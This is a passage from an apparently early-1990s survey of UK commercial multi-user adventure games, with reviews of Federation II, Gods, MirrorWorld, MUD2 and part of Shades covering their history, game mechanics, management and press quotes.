(game-money - +'Imperial Groats' - rather than real money), which, unusually, can be given +away to other players. The game-play is dominated by economics rather than by +fighting skills or puzzle-solving abilities (there are no puzzles in Federation +II). + + Federation II's setting, the solar system of the future, is wide in +scope but lacking in descriptive atmosphere. Referred to as 'dataspace' by its +author, it consists of the Earth plus six other planets/moons. Despite this, +the actual number of rooms it contains is not large, and movement in space is +with standard compass points rather than being directionally based on +pitch/yaw/roll. Most surprisingly (except from a programmer's point of view), +the planets are stationary. + + There are 17 player levels, although most experienced players stop at +level 9. As well as pure monetary qualifications, other conditions need to be +satisfied in order to reach the next level. These are intended to ensure that +players don't try to run before they can walk, and include such things as +having undertaken a certain number of trading contracts, and owning a warehouse +('whorehouse' in game parlance) on every planet. + + There are no wizzes in Federation II. Game management problems are +dealt with by the six richest players in the game, which ordinarily would lead +to even worse management problems; however, the real power is wielded by the +game's author, Alan Lenton, who used to be a MUD1 arch-wizard and is one of the +most experienced MUA managers around. Consequently, Federation II runs +smoothly. + + The game is insensitive in some respects - it promotes the consumption +of alcohol by having its social focus at a bar named "Chez Diesel" on Mars, and +quaffing drinks will increase players' stamina; this might offend some people. +On the whole, though, there is little of the overt use of non-violent contact +commands ("kiss", "hug" etc.) seen on some other games. This is partly because +of Lenton's managerial skills, and partly because Federation II attracts a +higher proportion of female players than any other UK MUA. + + Federation II lacks both depth and breadth - it has only 96 distinct +commands. The overall aim of the game (reaching level 17) is virtually +unattainable, so it is treated mainly as a social forum rather than as a "real" +game. There is little interaction required by the game mechanics, and fights +are infrequent (but see later concerning insularity). The 33 objects in the +game are exclusively for giving to one of the 51 mobiles in exchange for +points, or consuming so as to increase one's stamina. They are not used for +solving puzzles. + + Beginners choose their name and gender, then distribute 140 units +between strength, stamina, dexterity and intelligence attributes. Intelligence +as an attribute is unusual in MUAs - most games assume the intelligence of the +persona equates with that of the player commanding it. In Federation II +intelligence determines the power of the ship-board computer a persona can use. + + Players proceed by buying spaceships (usually with a loan), equipping +them (hull size, armour, shielding, drives, weapons, tractor beams, computers, +power plants), then purchasing commodities (24 are technical/industrial, 16 are +agricultural, 10 are leisure) from one planet and moving them to another where +they're needed (there are periodic announcements of contracts that are to be +undertaken). Players competing for the same contract race to get there first. +Completing contracts gives players money, which they use to improve their +ships, start their own companies, build factories and buy warehouses. + + Federation II has two novelties not present in other MUAs. One is a +bounty system, where players can place reward money on their enemies in order +to induce someone to attack them; the other is an insurance system, whereby +players pay a certain premium and in the event of their untimely death they are +resurrected at their previous level. These two features tend to work against +each other, and the insurance facility in particular means that players rarely +lose their status once it is gained. + + Players have the ability to describe themselves ("buy clothes"); +ordinarily, this would be perilous to any coherence of descriptive power in the +game, but since Federation II is deficient in that area anyway it doesn't +really make much difference. Atmosphere, as perceived by the players (not as +found on planets' surfaces), is engendered entirely by those players. +Regrettably, the highest-level players form a clique that is very choosy about +who can join, and they can make life very unpleasant for any upstarts they +dislike. This makes the game very insular, a charge repeated many times by +ex-players and professional reviewers. + + When combat does take place it is non-automatic, and there are many +weapon-control commands. Experienced players will invariably win, except +against hordes of novices (in which case they will later kill them +individually, having themselves been resurrected on an insurance policy). +Players are only allowed one persona per account ID, but can have several +account IDs. + + Federation II does not have resets, and there is no automatic save to +disc of players' scores. Thus, if the game crashes then points gained after a +player's last explicit "save" command are lost. + + Federation II is written entirely in C, is compiled directly (rather +than working from a definition language), and it therefore runs very quickly +but could never be used to implement any other scenario. Why is it of the first +rank? It takes a courageous new approach to the standard MUD1 style of +fantasy-based, combat-oriented, puzzle-solving world - it can run alongside +such a MUA without poaching any players; it is portable, and available on +several networks; it has a publicity director (Clement Chambers) and will thus +continue to be in the news; it is continually being updated and improved +(Lenton works on it full time); its author is one of the most experienced in +the field. + +Summary: + Federation II is a game with a pedigree, but of modest size, poor +breadth, shallow depth and little atmosphere. Nevertheless, its players are +enthusiastic, its support team dedicated, and its future rosy. + +Quotes: + + "Federation II is a wonderful blend of space-trading game and + adventure." + Popular Computing Weekly [magazine] + + "It sets you free from reality." + Trancer [player] + + "Reality is boring." + Topcat [player] + + "We all want an alter-ego, and Fed releases it." + Penelope [player] + + "I found the other players very helpful and quite willing to give + vital information to help me on my way." + Popular Computing [magazine] + + "It boasts quite the best manual of any game I've seen." + Popular Computing Weekly [magazine] + + "Britain's most advanced multi-user game" + CompuNet [promotional material] + + "I feel proud an honoured to offer people this game. It's like + partying without risk to the body. I'm giving them value for + money, so they come back for more." + Clement Chambers [marketing manager] + + +4.2 Gods. + +Name: Gods +Importance: 1 +Author(s): Ben Laurie ("Tiger Tiger") +Location: Lap of the Gods +Pricing Structure: L0.575/hour or + L11.50/month flat fee + +Brief Description: + Advanced MUD1 clone, fantasy world. + +Historical Notes: + Although the present system went live in October 1988, Gods began in +1985 as a non-commercial MUA; its author was inspired by MUD1 to write his own +game, and was among the first people to do so. Gods was Shades' only rival to +be the Prestel Micronet MUA. + +Review: + The dominant concept in Gods, which permeates every facet of it, is +that of object creation. Instead of becoming a wiz when one gains the +appropriate experience points, one becomes a 'god'. Gods have the ability to +alter the game at will, but doing so costs them points. When mortals cash in +treasure for points, they take it to the temple of their favoured god. This +will add to that god's points, as well as to their own. Thus, popular and +respected gods will be able to make more changes to the game, and ones that are +unpopular will lose the ability. + + The idea is attractive, but fundamentally flawed. Gods can use their +powers to do anything they like, without any interference from the equivalent +of arch-wizzes. Unfortunately, what they like to do is prevent people they +dislike from becoming gods. Although theoretically a seller's market ("which +god shall I give these points to?"), it's actually a buyer's market ("give +those to me"). There are two reasons for this: treasure is worth more if the +receiving god is present when it is offered at that god's temple; gods who see +mortals giving treasure to non-present gods have sufficient powers that they +can readily persuade such mortals that it would be in their best interests to +deposit their treasure elsewhere. Thus, unless there are several gods playing +for most of the time, the treasure dedicated to each god will tend to be +proportional to the period the god spends in the game. If a god needs more +points to create something, it's just a question of sitting around in the game +for long enough to get them. + + This dominance of the idea that gods can create things is a shame, +because otherwise Gods is a very well thought-out game, wide in its extent and +with imposing depth to its world. Despite being first-generation, it has +nevertheless stood the test of time, and its definition language is one of the +clearest and most functional around. It is based on the notion of 'objects', +which are items that have 'properties'. Properties are either 'mundane' (they +return a simple value) or 'esoteric' (they run some code to return a value). +Commands are implemented as properties of objects, thus making Gods one of the +earliest object-oriented programming languages and pre-dating much of the work +presently going on in the TinyMUD field. + + Gods operate by changing objects' properties, but this is not yet fully +implemented, nor is it likely to be in the near future. They can alter mundane +properties easily, but esoteric properties are out of bounds. This is because +they require programming skills, and there is no guarantee that they will be +safe. Problems of unwanted interactions between independently-created objects +are expected, and a facility to test/debug objects is necessary. It is +interesting to note that these are issues which have always concerned Gods +experts, but their importance is only now being recognised in the TinyMUD +world. + + Nevertheless, it is a pity that the central vision of Gods is still +some way away even after all these years, and that what the game presently +boasts as its major player-winning feature is actually no better than what is +available as just one riff in MUD2. Gods' over-emphasis on object creation +distracts attention from the many really quite splendid other features that it +has. Its parser is good, it has a built-in class hierarchy of objects (although +"get all" doesn't work), and there's a neat counting feature for similar object +(eg. "You pick up thirty-one assorted rabbits."). The game is atmospheric - its +large (2,000 rooms), North African seaport setting is rooted in historical fact +(although elements from different periods are disconcertingly juxtaposed; this +may be deliberate). Puzzles can vary with time depending on whether it is +night or day, and commands that you use frequently can develop different +affectations. Gods has the reputation of being a difficult, challenging game. + + One of Gods' recent innovations is its treatment of fights. Some +players like fighting, some don't, so Gods has two classes: fighters and non- +fighters. Non-fighters cannot be attacked, receive no points for killing, but +don't die if killed. Fighters can be attacked, do receive points for killing, +and lose them for dying. Whether this will work in the long run is something +which remains to be seen, though - the non-fighters would appear to be able to +annoy and dispose of the fighters without taking any personal risk, and it may +be that unimaginative non-fighters may find themselves at high levels without +really having much knowledge of the game at all. + + As well as a points value, treasure also has a monetary (alms) value. +There is a commercial system in Gods which can be played as a game without +reference to the deities. Money can be used to buy certain objects, for +gambling in a slot machine (slot machines are not uncommon in money-oriented +MUAs), and for buying drinks at a bar to regain stamina. As with Federation II, +this "alcohol is good for you" attitude could offend some people, and Gods may +attract another form of objection by its explicit use of "black magic" as a +form of spell use which can be practised. That said, critics of this sort are +likely to complain about the very name of the game anyway, irrespective of +other considerations. + + Gods tries to maintain an aura of mystique by keeping information from +players until they gain experience. Thus, a newcomer (of 'scum' level) is only +told how many points are required to reach levels 1 to 4, and has no idea how +many levels there are altogether. Similarly, only those spells which can be +used are listed. This works as an incentive to go up levels, but can be rather +worrying when you first start to play. Another way in which Gods strives to +provide atmosphere is by folding objects into room descriptions. This looks +good, but newcomers find that they can't always tell what is gettable and what +isn't. + + Rather than limiting the number of objects a player can carry, or +letting players carry as much as they like, Gods has a halfway solution which +is perhaps more realistic. The more objects carried, the greater is the chance +of dropping one. Thus, with your arms full of treasure you can only travel a +short distance before something falls to the ground. Travelling light, you can +play for hours and not drop a thing. + + Gods runs on an 80386 processor under Xenix. The Lap of the Gods +system to which it is connected consists of specialist multiplexer hardware and +associated software, collectively known as The Butler. This has recently been +upgraded so as to provide on-line help facilities, but the information it +displays is rather hurriedly put together. This is reminiscent of the whole +system - every feature imaginable can be expressed in one way or another, but +somehow it's never used quite as fruitfully as it could be. + + Day-to-day running of the Gods system is now by one of the game's gods, +Heptaparaparshinokh. It appears to have no major managerial problems, perhaps +due to the fact that it is, in part, an experiment on the way deities behave +without higher deities above them. There is a guest facility for beginners, +with a built-in tour available. + + Gods has a client written for it, Hear-Gods, which consists of normal +terminal software for the Atari ST with the addition of sampled sound-effects. + + A version of Gods runs in Germany. + +Summary: + A lone pioneer of object-creating MUAs, Gods is well written and +abounds in detail. It is old, yet still fresh, and has worn well. However, +its overall premiss, though seductive in theory, is unproven in practice. Had +it been written as a conventional MUA instead of a slightly eccentric one, it +might have had much wider appeal and taken its place at the forefront of MUA +development. As it is, Gods' story is one of missed opportunity, and its +considerable potential is still to be realised. + +Quotes: + + "Certainly a game I would recommend to anyone." + ACE [magazine] + + "You will find a coliseum and a set of dry docks close by each + other, but this doesn't seem unusual in the game." + Comms Plus! [magazine] + + "The system of scoring is complicated." + ACE [magazine] + + "With the current generation of modems, I personally feel that + objects should be readily apparent to players." + Comms Plus! [magazine] + + "Really, we can't explain what the games are like - you'll have to + try them" + Lap of the Gods [promotional material] + + +4.3 MirrorWorld. + +Name: MirrorWorld +Importance: 1 +Author(s): Pip Cordrey ("Pippin"), + Nat Billington ("Natso"), + Lorenzo Wood ("Penfold"), + Patrick Bossert ("Zoot"), + Tim Rogers ("Grobble"), + Piers de Lavison ("Inziladun") +Location: IOWA +Pricing Structure: free + +Brief Description: + Standard MUD1 clone, Tolkienesque. + +Historical Notes: + Pip Cordrey used to run a BBS called 'Labbs', which had a section +devoted to MUD1 in its early days. Six people from St. Paul's School worked +on that section, and Cordrey organised them into a team to develop a MUA that +would run on a home computer. The system was named MirrorWorld because it had +rolling resets (as in the film "Westworld"). It went live in 1986. The St. +Paul's group are now all MirrorWorld arch-wizzes. + +Review: + MirrorWorld (MW to its players) is a venerable yet thriving MUA. Its +stated aim is for players "to score points by killing monsters and other +players, finding and selling treasure, and doing clever things". Its +conventional setting is well described, and it has a strong, magical +atmosphere. + + The game is easy to enter, and provides guest facilities. The new user +is well catered for with on-line help, but the authors seem preoccupied by the +expense of telephone calls to the game, and the newcomer is somewhat bombarded +with dire warnings of how costly it is to play. + + Another of the things with which MirrorWorld is obsessed out of all +proportion to its importance is the concept of rolling resets (or 'autosets', +as they are called in the game). MirrorWorld was among the first MUAs to +incorporate rolling resets, and the authors consider it their invention. The +main reason for having rolling resets is to give a seamless scenario which +doesn't have its atmosphere ruined by intrusive resets; however, MirrorWorld's +alternative is to have a little man in a white coat appear to reset puzzles, +which, although a cute idea, doesn't fit in well with the fantasy milieu. The +downside of rolling resets is that they're difficult to implement for hard +puzzles, and this betrays a hint as to the deeper nature of the game (or rather +the lack of it). + + From the outset, MirrorWorld was intended to run on a home +microcomputer (rather than the mainframe that hosted MUD1), and it partially +succeeded: the main computer is a BBC Master 128, but it has a 4mb RAMdisc and +custom-built multiplexer added on. This modest CPU perhaps explains the +overriding feeling that pervades all of MirrorWorld - its (spasmodically +elegant) simplicity. + + Everything about MirrorWorld is simple. The parser is so basic that it +merely looks at words in the order they come, not even 'parsing' at all in the +computational linguistic sense. It has only a dozen or so spells, and they are +defined poorly or not at all - "blind", in particular, can only be implemented +in an astonishingly inadequate way (teleportation to a special room). + + There's a fragment of originality in the way that spells are +time-based, so that lower-level players have a longer delay between casting a +spell and its taking effect than do higher-level players. Unfortunately, +people coming in using fast comms links have a similar advantage... The +"nullify" spell is unique to MirrorWorld and its sisters, as it interrupts an +opponent's spell if it fires during that spell's delay period. Otherwise, +though, MirrorWorld's spells are depressingly ordinary. + + The problem that MirrorWorld faces is its implementation. Along with +most of the other IOWA games, it is written in a database definition language +called 'Slate'. That Slate is sufficiently powerful to be used to define +several disparate databases is to its credit, however it is a comparatively +feeble language, rooted in old ideas and methods, and resistant to change. For +example, when an "act" command was needed, Slate wasn't really up to the job, +and the resultant hack makes MirrorWorld the most impoverished major MUA in +this area. + + Slate is a lot like a bad Basic. Variables cannot be declared +arbitrarily - only predefined system ones are usable. Its subroutines have no +parameterisation, and there is a confusion between commands, actions, and +actions tied to objects (in an object-oriented fashion that would be more +convincing if objects were arranged in an inheritance hierarchy). All this +makes use of Slate difficult, but not impossible. However, no amount of fancy +programming can get round the fact that too much is built into the Slate +interpreter, and not enough is in the hands of the database designer. Modern +features cannot be added to MirrorWorld without making alterations to the Slate +language, and thus to the compiler itself. + + These criticisms of Slate aside, it must be said that the language does +work very well for simple MUAs, and that there are people willing to pay L3,000 +to buy a complete Slate system so as to program their own MUAs in it. + + Accepting that MirrorWorld is not really much of an intellectual's MUA, +it nonetheless has some nice, novel touches. There is an arena for fights, +where people go for mass combat and only one survivor is allowed to leave. +There is a gambling module, which is another concept the MirrorWorld team +implemented first, and which thus receives more publicity than it really +merits. Also, the persona file stores more details about a player's status than +is common, so eg. if your persona is crippled and you quit, it'll still be +crippled when you return. + + On the managerial side, MirrorWorld functions well. There are written +and unwritten rules that the players must not transgress, which keeps everyone +peaceful but can occasionally stifle originality (today's best wizzes are often +yesterday's most misbehaving mortals; guidelines are a better solution than +cast-iron rules). MirrorWorld is overseen by Pip Cordrey, who has arch-wiz +status on Shades and is thus well qualified for the task. MirrorWorld is +regularly updated. + + There are 12 levels for normal players, with an unusually large number +of points required to make wiz. Indeed, despite its age the game has under 20 +wizzes in total. Wizzes can die in the game, which is something that is +impossible in other games (and difficult to justify in this one). Some of the +feminine forms of levels below wiz appear a little condescending, eg. male = +peasant, female = washer-woman; male = potent, female = bewitched. + + Although relaxing and pleasant enough to play, MirrorWorld is not a +true heavyweight of MUAs. However, it has made an immense contribution to the +genre, has an experienced programming and design team behind it, and has +pioneered the concept of genuine choice between different MUAs on a single +system dedicated to such games. After a rough period in early 1990, when its +authors thought that it was better than it was and prematurely charged people +to play game (which lead to their rapid abandonment of the system), MirrorWorld +has bounced back and is again an entertaining place to spend an evening. Thanks +to the tireless efforts of Pip Cordrey in publicising IOWA (and MUAs in +general), it is likely to remain so for some considerable time. + +Summary: + MirrorWorld is very shallow, has little breadth, and it possesses a +thoroughly awful parser; and yet, it isn't frustrating to play. Of average +size, its gameplay is good - especially for MUA novices - and its players +friendly. The atmosphere is well maintained, but, although it tries hard, +MirrorWorld is more a picturebook MUA than a meaty novel. + +Quotes: + + "MirrorWorld has that feel to it that just keeps you playing on and + on." + ACE [magazine] + + "The feeling you get is that you have visited this place sometime + before." + Confidential [magazine] + + "Used treasure is repositioned by an old man who wanders round the + game dropping things, which is a little less painful than being + thrown off every 45 - 60 minutes!" + ACE [magazine] + + "[Resets] do nothing except drag you out of your fantasy world and + plop you right back in the real one." + Pip Cordrey [owner] + + "Make sure that your phone bills contain no surprises." + Pip Cordrey [owner] + + "Though some players are not quite as friendly as on some games, it + really is good." + ACE [magazine] + + "On-line entertainment for the nineties" + IOWA [promotional material] + + + 45 MUSE Ltd Reviews - UK + + + "If you have offended against one of the rules, the thing that the + wizard or arch-wizard wants to hear is that you recognise that you + have broken the rules and will not do it again." + Pip Cordrey [owner] + + "[Cordrey] has something that only a handful of other men have: his + own world." + Confidential [magazine] + + +4.4 MUD2. + +Name: MUD2 +Importance: 1 +Author(s): Richard Bartle, Roy Trubshaw +Location: (081) 203 3033 + PSS 23421920100441 +Pricing Structure: L0.50/hour to L1/hour, depending on amount bought + up front + +Brief Description: + Advanced MUD1 rewrite, fantasy world. + +Historical Notes: + By 1985, MUD1 was becoming fossilised, so a completely new version was +written from scratch. Although MUD2 contains nearly all of MUD1 as a subset, +it is considerably larger. Originally intended to run on Micronet, this was +thwarted by BT politics, and MUD2 now runs on one of BT's Vax clusters +connected to Telecom Gold's network. BT and MUSE have both been trying to +escape from their mutual contract ever since. Warning: the principal author of +MUD2 is the author of this report; expect unrestrained enthusiasm. + +Review: + The cutting edge of MUA technology. MUD2 is the most advanced MUA in +the world, with a big lead over its challengers (Gods and Avalon are probably +the next-best in programming terms). Although roughly the same age as Shades, +MUD2 is a second-generation MUA and was designed for portability and +endurability. Thus, there are versions of its interpreter in C and Pascal, and +it runs on a VAX under VMS, an Archimedes under Unix, and on both an Atari ST +and a VME-based piece of specialist hardware under OS9. The same database will +load on all these configurations. + + In every aspect of MUA technology (except its parser, which, although +admirably capable of choosing implied objects, does not handle pronouns, +adjectives or adverbs), MUD2 excels. Its breadth and depth are unparalleled, +its atmosphere compelling, and its management sound. + + In terms of detail, MUD2 (or simply MUD to most players) is the only +MUA that deals routinely with fluids (miscible or otherwise), heat, all +audio-visual effects, smells and consistency. If you drop an object from a +height through several vertically-placed rooms into running water, it will +consider impact damage, water damage, and will place the object either where it +landed or further downstream depending on whether it floats or not - players in +intervening rooms will see it pass. This form of world modelling adds a sense +of realism to MUD2 which most other games cannot even represent in their +definition languages, let alone emulate in practice. + + The number of commands, spells and interactions MUD2 supports is also +unrivalled. Many of its nuances are found only occasionally by the more +enterprising players, and it has a dedicated band of enthusiasts whose main +preoccupation is simply exploring the range of command possibilities the game +might trap (eg. "play poker" for a poker object meant for stoking a fire, or +"stick pin in doll" using a rolling pin rather than a needlework pin). + + MUD2's mobiles are the most sophisticated of any MUA. It has a large +number of them (over 160), and they are of many different types (some fly, some +swim, some regenerate, some can cast spells). They are also multi-functional: +for example, there is a sword that can be used for combat as expected, but it +also continually makes comments about its wielder, its own prowess, other +weapons, fights, and the weather. It will inform its owners when magic has been +cast against them, and cure them of ailments (especially if they deafen +themselves to avoid its endless chatter!). + + Even mundane mobiles are very advanced. They incorporate expert systems +that enable them to fight (often better than the players): MUD2's thief knows +not only how to steal objects, but how to score points for them (it carries +them to a 'swamp' room and drops them there). Most mobiles know which weapons +to use, to drop useless objects when attacked, to attempt to steal useful +objects from opponents in a fight, when to flee, and when to offer a withdrawal +(MUD2, uniquely, has a mechanism that allows combatants to agree to stop +fighting without either losing points). Mobiles are also capable of planning +to achieve goals, eg. if they can't go west because there's a locked door in +the way, they should unlock it with the right key and then proceed (Bartle's +PhD concerned Artificial Intelligence planning techniques). + + There are 11 levels in MUD2, which fall into two streams +(magical/non-magical) and two forms ('protected' and 'non-protected' personae). +Only magic-users who are not protected personae can reach wiz. The +distinction between fighters and magic-users is unusual, and although it does +add something to the game, MUD2 could survive quite adequately without it, +treating everyone as if they were magic-users. To switch from fighter to +magic-user, there's a special object (a "touchstone") that must be touched, +with a high chance of causing death at lower levels. Some players don't like +the idea, others look on it as a watershed that thrusts their play into a +different gear. + + Protected personae are mainly people exploring who don't want to be +molested by other players. Conversion back to the normal stream is allowed at +any time, at a cost of two-thirds of the persona's score. This ensures that +people with no aspirations of reaching wiz can play in relative safety, but +that anyone seeking the top rank must run risks. + + Another safeguard that ensures unsuitable people don't "sneak" to wiz +is a system of 'tasks'. These are eight quests, any seven of which a persona +must solve if it is to become a wiz. Some require co-operation with other +players, some test knowledge of the game, some test fighting, and some are +important puzzles; most are a combination. When players makes wiz in MUD2, it +can therefore be guaranteed that they have had a broad education in the game. + + Wiz powers in MUD2 are considerable. As well as object, mobile and room +creation (by fleshing out "blanks"), wizzes can attach to mobiles and personae +(and thus play as several beings at once), there is a full complement of proof +commands, and multiple snoops are possible. There are four levels of +invisibility, so wizzes and arch-wizzes can choose to whom they are visible. +Wizzes have the ability to alter the manner in which players are described, and +the messages given when arriving, departing or using magic. As these powers +are creative in aspect, they are not granted to mortals (because otherwise the +game's atmosphere could be spoiled). + + Among MUD2s other features are: a command that draws birds-eye view +maps; a safe start location where people can enter the game for a chat and to +see who's playing without risking assault; many-on-many fights; a wide range of +spells with their effects properly handled (so if you're blinded and walk into +a room where dripping water can be heard, you'll be given that part of the room +description but not the rest); and delayed-effect actions. + + To new players, MUD2 can seem imposing. This is usually because its +sophistication, though concealed from newcomers in part, is nonetheless +imposingly evident; however, the game's reputation also has an effect. To ease +the way, a pair of excellent handbooks are provided that answer many of the +questions that enter newcomers' minds (but which reviewers don't always bother +to read...). The game itself has special novice-level treasure that other +players are discouraged (by its negative value) from picking up, and which is +therefore often in play even when a reset is due. Room descriptions are +friendly in areas frequented by novices, and get increasingly forbidding the +further away one travels; MUD2's prose is generally regarded as the finest of +any MUA's. There is a tour facility, that enables prospective players to be +shown round various areas of the game with a running commentary (and which +takes account for what's currently in the rooms being visited). + + Fighting in MUD2 is of the automatic variety, with spells, potions and +(breakable) weapons available for use. Death results in persona deletion, +irrespective of who started the fight; although this is regarded as unfair by +many inexperienced players, those who have played for longer accept that it is +the best approach to adopt - in terms of game management, it's essential. MUD2 +is managed by its principal author, the most experienced of all MUA managers. +At present, MUD2 is top heavy with arch-wizzes, though; this is because several +were appointed in preparation for an impending move to Prestel which was (as +usual) cancelled by BT. + + There is a full classification system in MUD2, which readily accepts +commands such as "get food" (to pick up anything that might be edible). Unlike +many of the first generation games, it allows multiple objects of the same +type, however since its parser is weak on adjectives that leads to objects with +names like "key21". This can be rather unatmospheric. + + Because of the game's high puzzle-density and large number of objects, +it resets every 105 minutes; this is despite its average size (around 800 +rooms). + + MUD2 is programmed in a special MUA programming language called MUDDLE. +This is the key to its success, since it gives complete control to the MUA +designer without hardwiring essential functions into its interpreter. +Object-oriented in concept, but reading like a hierarchical version of Prolog, +MUDDLE's versatility should ensure that MUD2 maintains its lead position in the +MUA world for some time yet. + +Summary: + MUD2 is well designed, has superb depth, is wide-ranging in its scope, +and is easily modifiable. Its age belies its advanced features, particularly +its mobiles and the facilities provided for its wizzes. Its atmosphere is +carefully maintained by powerful room descriptions, and its gameplay is well +thought-out. Only its parser is less than satisfactory. Clearly, MUD2 stands +head and shoulders above all other MUAs. However, it has enjoyed only modest +success compared to, say, Shades. This is almost entirely due to its being tied +to BT by an agreement that was rendered inappropriate within a year because of +reorganisations within that company. + +Quotes: + + "An adventure on a grand scale." + ACE [magazine] + + "MUD was, and still is, the multi-user game that others are + measured by." + PC Plus [magazine] + + "MUD is the first of a new generation of interactive games." + Daily Mail + + "If you want a civilised entry into a game, try MUD, the Multi-User + Dungeon." + MUSE [promotional material] + + "The game is very user-friendly." + Computer and Video Games [magazine] + + "Where MUD scores is in the atmosphere of the world you have to + explore. It's not as communal as Shades, but ... it can become an + obsessive exercise in politics, co-operation and the exercise of + power." + ACE [magazine] + + "The atmosphere can be slightly daunting for a first-time player, + but as a rule other MUDders are tolerant of newcomers and even + helpful if you meet trouble." + PC Plus [magazine] + + "[In atmosphere] MUD is definitely better than Shades." + Acorn User [magazine] + + "I prefer to play [MUAs] in "verbose", even if I don't bother to + read it all. It's handy for picking up the feel of the place. I + rarely read the whole description unless it's my first visit to + the room and I'm not in a hurry to get anywhere. I quite like the + "unverbose" mode that MUD has, no other game seems to have that + one." + Wabit [player] + + "One of the best things about MUD is the style of the text. The + locative descriptions are long, well-written, and vividly + evocative." + PC Plus [magazine] + + "Part of MUD's strength is the quality of the descriptions of each + location, which are excellent." + Acorn User [magazine] + + "Deaths lurk around every corner." + Computer and Video Games [magazine] + + "Due to various political shenanigans at BT, MUD2 never got to + Prestel." + GM [magazine] + + "Shades versus MUD: how about blank objects, levels of + invisibility, far greater realism, atmosphere, better room + descriptions, greater flexibility with everything..." + Faramir [player] + + "Just because we think MUD is a better game doesn't mean that all + of the existing Shades players will drop Shades and come a running + to MUD." + Wabit [player] + + "Novices and guests don't like MUD. They can't find any treasure. + Shades is more exciting for a beginner." + Acorn User [magazine] + + "I honestly think that MUD's main problem is a lack of players, due + to a lack of advertising and a general lack of anyone in charge + being that bothered by the lack of players." + Wabit [player] + + "MUD has too many internal problems. The game itself is far + superior to anything else on the market, and with a little forward + thinking could still be the number one game. Although advertising + would have helped, I don't see that as being the culprit ... the + problems were actually caused by an internal political power + struggle, and as there wasn't anybody strong enough to put people + in their place, the struggle gained momentum." + Wabit [player] + + "It's an adventure, sure, but it's far more." + Computer and Video Games [magazine] + + "Some activities are, it must be said, a little unusual, but are in + keeping with the alternative comedy theme that pervades the game." + Atari ST User [magazine] + + "MUD is expected to be one of the most popular innovations in home + computing." + The Times + + "Despite its outward appearance as just another computerised + fantasy, MUD is a great deal more than that, and what it promises + is even more intriguing." + Computing [magazine] + + "MUD's success has been little short of phenomenal." + Atari ST User [magazine] + + "MUD has a devoted following (one regular player lives in Japan) + among whom some must certainly be counted micro-junkies. One + unemployed participant built up a L1,000 phone bill and got zapped + by British Telecom." + Mail on Sunday [magazine] + + "If you buy your credits in bulk, it can be satisfyingly cheap to + play." + ACE [magazine] + + "One player in Wales clocked up a telephone bill of L3,000 before + she was cut off." + The [Economist] + + "MUD has been described as the greatest adventure in the world." + Computer and Video Games [magazine] + + "MUD leaves other adventures for dead." + Personal Computer World [magazine] + + "You haven't lived until you've died in MUD" + MUSE [slogan] + + +4.5 Shades. + +Name: Shades +Importance: 1 +Author(s): Neil Newell ("Hazeii") +Location: Prestel (Micronet) +Pricing Structure: L4.80/hour 8am - 6pm + L1.20/hour 6pm - 8am + L19.80/hour on (0898) 100890 + +Brief Description: + Standard MUD1 clone. + +Historical Notes: + Newell was a MUD1 player. Shades was written over Christmas 1985 when +MUD1 was unavailable, partly as a spoof. It was launched nine months later on +Micronet, in preference to MUD2 and Gods because of internal BT wranglings. It +has been highly successful on that service. Nowadays, it is billed as "the most +popular on-line multi-user adventure game in Europe", which, in terms of player +numbers, is absolutely correct. + +Review: + Shades is very lucky. MUD2 was going to go on Micronet, but due to +rivalries between departments of BT (Prestel and what was then NIS), the deal +fell through. Micronet's much-vaunted Viewdata scrolling software was, for +example, originally programmed to MUSE's specifications for MUD2. Shades was +chosen as a substitute (ahead of Gods for technical reasons), and has remained +the premier MUA on Micronet ever since, challenged only by the jokey Trash +(which comes from the same stable). Most MUA authors - Newell included - +consider this form of protectionism absolutely disgraceful. Compared against +almost any other MUA, Shades looks decidedly inferior. + + Because it is the only MUA accessible at local call telephone rates +from anywhere in the country, Shades has enjoyed tremendous success. It has +introduced many people to MUAs who might otherwise have been unaware of such +games, and for this reason alone it ranks very highly. It has been well +marketed, and has good technical support, but it is five years old now and +really shows its age. Because of the hard-coded way it is programmed, it is +fossilised in 1985. Its infrequent updatings (minor changes every six months, +of late) means it continues to shed old players while only attracting a trickle +of new ones: its user base has been saturated. + + Technically speaking, Shades is actually pre-MUD1 in sophistication. +It has insufficient depth to handle even basic concepts like containers. Its +mobiles follow a set track, rather than moving with some randomness, and they +cannot contain/hold objects either; this means that at times the game works +counter-intuitively. For example, there is a "thief" mobile which steals +things, however he can't carry his booty so it just automatically appears in +his lair. If you see him steal an object, and you kill him before he leaves the +room, your treasure is still in his lair. + + The game itself is not really all that bad, given its age. There are +over a thousand locations now (which is probably too many, since each game can +only handle eight players at once), and its database is the usual castles and +buried treasure fare. The aim is to collect treasure and drop it in one +location (the Mad King's room) for points. There are 14 levels, some of which +aren't immediately obvious as being gender equivalent (eg. male = gallant, +female = dauntless; male = soothsayer, female = spellbinder). This doesn't +appear to bother the players (who call themselves 'Shadists'). + + Persona attributes are strength, stamina, power and fight skill, which +is an unusual combination. All players start with identical statistics, but +they can change (stamina goes up to 230: again, uncommon). Only the latter +three attributes are used in combat, which plays a central role in the game. +Blows in fights are handled automatically, with power being the damage you do, +and chance to hit depending on the combatants' respective levels. Fight skill +defines the number of blows that occur per round of combat; it can rise and +fall depending on the outcome of the fight. + + Shades has a problem with fights, after complaints from players lead to +a misguided (from a managerial perspective) alteration to the way fights work. +If you start a fight and are killed, you lose all your points; if you were +attacked and are killed, you only lose half your points. If the winner started +the fight, the reward is 6.25% of the loser's score; if the winner was the +player attacked, the figure is 25%. This, in a game where fighting is a key +element, is something of a surprise. It discourages inter-player fighting, +which in turn means that anyone can reach wiz merely by playing for hours on +end, whether they are 'suitable' in some sense or not. Once they have reached +a high level, they are unlikely to be attacked at all - other high-level +players will not attack because the rewards don't match the risks, and low- +level players won't because they'd lose the fight (incredibly, Shades doesn't +allow fights involving more than two players). There is a "berserk" command +which could balance this, as it allows low-level players to flee without losing +points (whereupon another can attack), however it is used infrequently because +it doesn't work all the time. + + As if this isn't bad enough, Shades has another means of ensuring that +anyone can be a wiz if they really want to be: 'pacifists'. These are similar +to MUD2's protected personae, but have no maximum level and a quicker +advancement rate - only half that of non-pacifists. A pacifist can be +attacked, but loses no points for fleeing. Pacifists can't start fights. +Switching modes between pacifist and fighter zeroes your score. + + Shades has many problems as a result of earlier managerial decisions. +Although the situation is better now, there are still mistakes (eg. offering +10,000 points for the best map of the game). Despite having a MirrorWorld +arch-wiz (Pippin) and a MUD2 arch-wiz (Lordant) on its books, Shades has always +been a place where, if you complain loudly enough and with enough people +supporting you, you'll get your way in the end. There are horror stories of +people deliberately working up secret personae, gathering a coterie of +impressionable admirers around them, then doing all they can to wreck the game +as a wiz and having 